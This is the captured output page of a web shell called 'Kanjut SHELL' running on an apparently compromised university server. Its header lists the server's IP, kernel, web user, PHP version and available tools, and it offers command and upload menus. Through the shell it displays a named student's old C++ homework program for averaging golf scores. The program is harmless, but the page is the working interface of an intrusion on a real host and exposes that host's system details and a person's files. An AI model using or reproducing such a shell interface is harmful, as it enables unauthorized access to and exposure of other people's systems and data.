Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 3.149.237.231
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0705) :  /home/kmmowery/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/kmmowery/golf1.cpp
//------------------------------------------------------------------------
//	Name: Kieara Mowery
//	Date: Saturday, November 22nd, 2008
//	Due : Monday, November 24th, 2008
//	Purpose: To process a file golf.dat that contains a list of 
//	scores.	To find the average golf score, the winning golf score, 
//	and the losing golf score. The negative number in the golf.dat 
//	file is the sentinel value which will end the golf score list.
//------------------------------------------------------------------------
#include <iostream>
#include <iomanip>
using namespace std;

// -------- Main Function

int main ()
{
    int score,
	hiscore = 0,
	loscore = 500,
	totalscore = 0,
	numscores = 0 ;

    float avgscore;

    // ------- Input the first score
    
    cin >> score;

    cout << " Golf     Scores " << endl;
    cout << " ----     ------ " << endl;

    // ------ Loop through the grades in the file until -1 is detected

    while ( score > -1 )
    {

    // ------ Count the score

      numscores++;
    
    // ------- Add score to the running total

      totalscore += score;
 
    // ------- Check for the highest score
  
    if ( score > hiscore )
        hiscore = score;

    // ------- Check for the lowest score
  
       if ( score < loscore )
           loscore = score;

    // ------ Input the next score
 	  cout << "\n";
          cout << setw(8) << score;
          cin >> score;
    }
   
    // ------ Calculate the average score
   
    avgscore = static_cast<float>(totalscore) / numscores;
   
    // ------- Display the average score, the low and high score
    cout << "\n";
    cout << "\n";    
    cout << "---------------------------------------" << endl;
    cout << "              Your Scores              " << endl;
    cout << "---------------------------------------" << endl;
    cout << "The average score is : " << avgscore << endl;
    cout << "The lowest score is  : " << loscore << endl;
    cout << "The highest score is : " << hiscore << endl;
    cout << "\n";
    return 0;

 }


Stv3n404 - 2023